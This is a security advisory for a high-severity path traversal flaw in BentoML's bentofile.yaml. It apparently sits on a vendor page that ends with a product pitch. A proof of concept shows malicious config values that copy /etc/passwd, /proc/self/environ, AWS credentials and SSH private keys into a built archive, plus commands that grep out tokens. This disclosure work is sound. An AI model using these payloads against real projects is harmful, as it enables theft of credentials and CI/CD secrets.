GHSA-6r62-w2q3-48hf
HIGHBentoML has a Path Traversal via Bentofile Configuration
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
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Description
Summary
BentoML's bentofile.yaml configuration allows path traversal attacks through multiple file path fields (description, docker.setup_script, docker.dockerfile_template, conda.environment_yml). An attacker can craft a malicious bentofile that, when built by a victim, exfiltrates arbitrary files from the filesystem into the bento archive. This enables supply chain attacks where sensitive files (SSH keys, credentials, environment variables) are silently embedded in bentos and exposed when pushed to registries or deployed.
Details
The vulnerability exists in how BentoML resolves user-provided file paths without validating that they remain within the build context directory.
Vulnerable function in src/bentoml/_internal/utils/filesystem.py:114-131:
def resolve_user_filepath(filepath: str, ctx: t.Optional[str]) -> str:
_path = os.path.expanduser(os.path.expandvars(filepath))
if not os.path.isabs(_path) and ctx:
_path = os.path.expanduser(os.path.join(ctx, filepath))
if os.path.exists(_path):
return os.path.realpath(_path) # No path containment check
raise FileNotFoundError(f"file {filepath} not found")
Vulnerable code in src/bentoml/_internal/bento/bento.py:348-355:
if build_config.description.startswith("file:"):
file_name = build_config.description[5:].strip()
if not ctx_path.joinpath(file_name).exists():
raise InvalidArgument(f"File {file_name} does not exist.")
shutil.copy(ctx_path.joinpath(file_name), bento_readme) # Path traversal
All four vulnerable fields:
description: "file:../../../etc/passwd"→ copied toREADME.mddocker.setup_script: "../../../etc/passwd"→ copied toenv/docker/setup_scriptdocker.dockerfile_template: "../../../secret"→ copied toenv/docker/Dockerfile.templateconda.environment_yml: "../../../etc/hosts"→ copied toenv/conda/environment.yml
Multiple path formats are supported, making exploitation trivial:
| Format | description | setup_script | dockerfile_template | environment_yml |
|---|---|---|---|---|
Absolute paths (/etc/passwd) | Yes | Yes | Yes | Yes |
Tilde expansion (~/.ssh/id_rsa) | No | Yes | Yes | Yes |
Env vars ($HOME/.aws/credentials) | No | Yes | Yes | Yes |
Relative traversal (../../../etc/passwd) | Yes | Yes | Yes | Yes |
Proc filesystem (/proc/self/environ) | Yes | Yes | Yes | Yes |
The description field uses pathlib.Path.joinpath() directly, while other fields use resolve_user_filepath() which calls os.path.expanduser() and os.path.expandvars().
The /proc/self/environ vector is particularly dangerous in CI/CD pipelines where secrets are commonly passed as environment variables (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_PASSWORD, etc.).
PoC
- Create a minimal service:
# service.py
import bentoml
@bentoml.service
class TestService:
@bentoml.api
def predict(self, text: str) -> str:
return text
- Create malicious
bentofile.yaml. Multiple attack vectors are available:
Vector 1: Exfiltrate /etc/passwd via description field
service: "service.py:TestService"
description: "file:/etc/passwd"
Vector 2: Exfiltrate all environment variables (CI/CD secrets)
service: "service.py:TestService"
description: "file:/proc/self/environ"
Vector 3: Exfiltrate files using environment variable expansion (docker fields only)
service: "service.py:TestService"
docker:
dockerfile_template: "$HOME/.aws/credentials"
Vector 4: Exfiltrate files using tilde expansion (docker fields only)
service: "service.py:TestService"
docker:
dockerfile_template: "~/.ssh/id_rsa"
Note: The description field does not support ~ or $VAR expansion. Use absolute paths or relative traversal for description. The docker.* and conda.* fields support all path formats.
- Run build:
$ bentoml build
Successfully built Bento(tag="test_service:abc123").
- Verify exfiltration:
# For description field - check README.md
$ cat ~/bentoml/bentos/test_service/abc123/README.md
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
# For /proc/self/environ - extract CI/CD secrets
$ cat ~/bentoml/bentos/test_service/abc123/README.md | tr '\0' '\n' | grep -E "KEY|TOKEN|SECRET"
AWS_SECRET_ACCESS_KEY=AKIA...
GITHUB_TOKEN=ghp_...
# For dockerfile_template - check Dockerfile.template
$ cat ~/bentoml/bentos/test_service/abc123/env/docker/Dockerfile.template
[default]
aws_access_key_id = AKIA...
aws_secret_access_key = ...
The exfiltrated contents are embedded in the bento archive and will be included in any push, export, or containerization of the bento.
Impact
Who is impacted: Any user who runs bentoml build on an untrusted bentofile.yaml (e.g., cloned from a malicious repository).
Attack scenarios:
- Supply chain attack: Malicious contributor adds path traversal to a public ML project; anyone who clones and pushes their built model has their files exfiltrated
- CI/CD environment variable theft: Using
file:/proc/self/environ, an attacker can exfiltrate ALL environment variables from the build process. CI/CD pipelines commonly inject secrets this way (AWS_SECRET_ACCESS_KEY,GITHUB_TOKEN,DATABASE_URL, etc.), making this a single-payload method to steal all pipeline secrets. - BentoCloud exfiltration: When victims push compromised bentos to BentoCloud (
bentoml push), exfiltrated files are uploaded to the cloud platform. Any user with access to the BentoCloud organization (team members, contractors, or attackers with compromised accounts) can download the bento and extract stolen credentials. This turns BentoCloud into an unwitting exfiltration channel. - Data theft: Proprietary source code, configuration files, or database credentials embedded in bentos pushed to shared registries or BentoCloud deployments
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | bentoml | all versions | 1.4.34 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for bentoml. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update bentoml to 1.4.34 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6r62-w2q3-48hf is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-6r62-w2q3-48hf is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-6r62-w2q3-48hf. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-6r62-w2q3-48hf in your dependencies?
O3 detects GHSA-6r62-w2q3-48hf across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.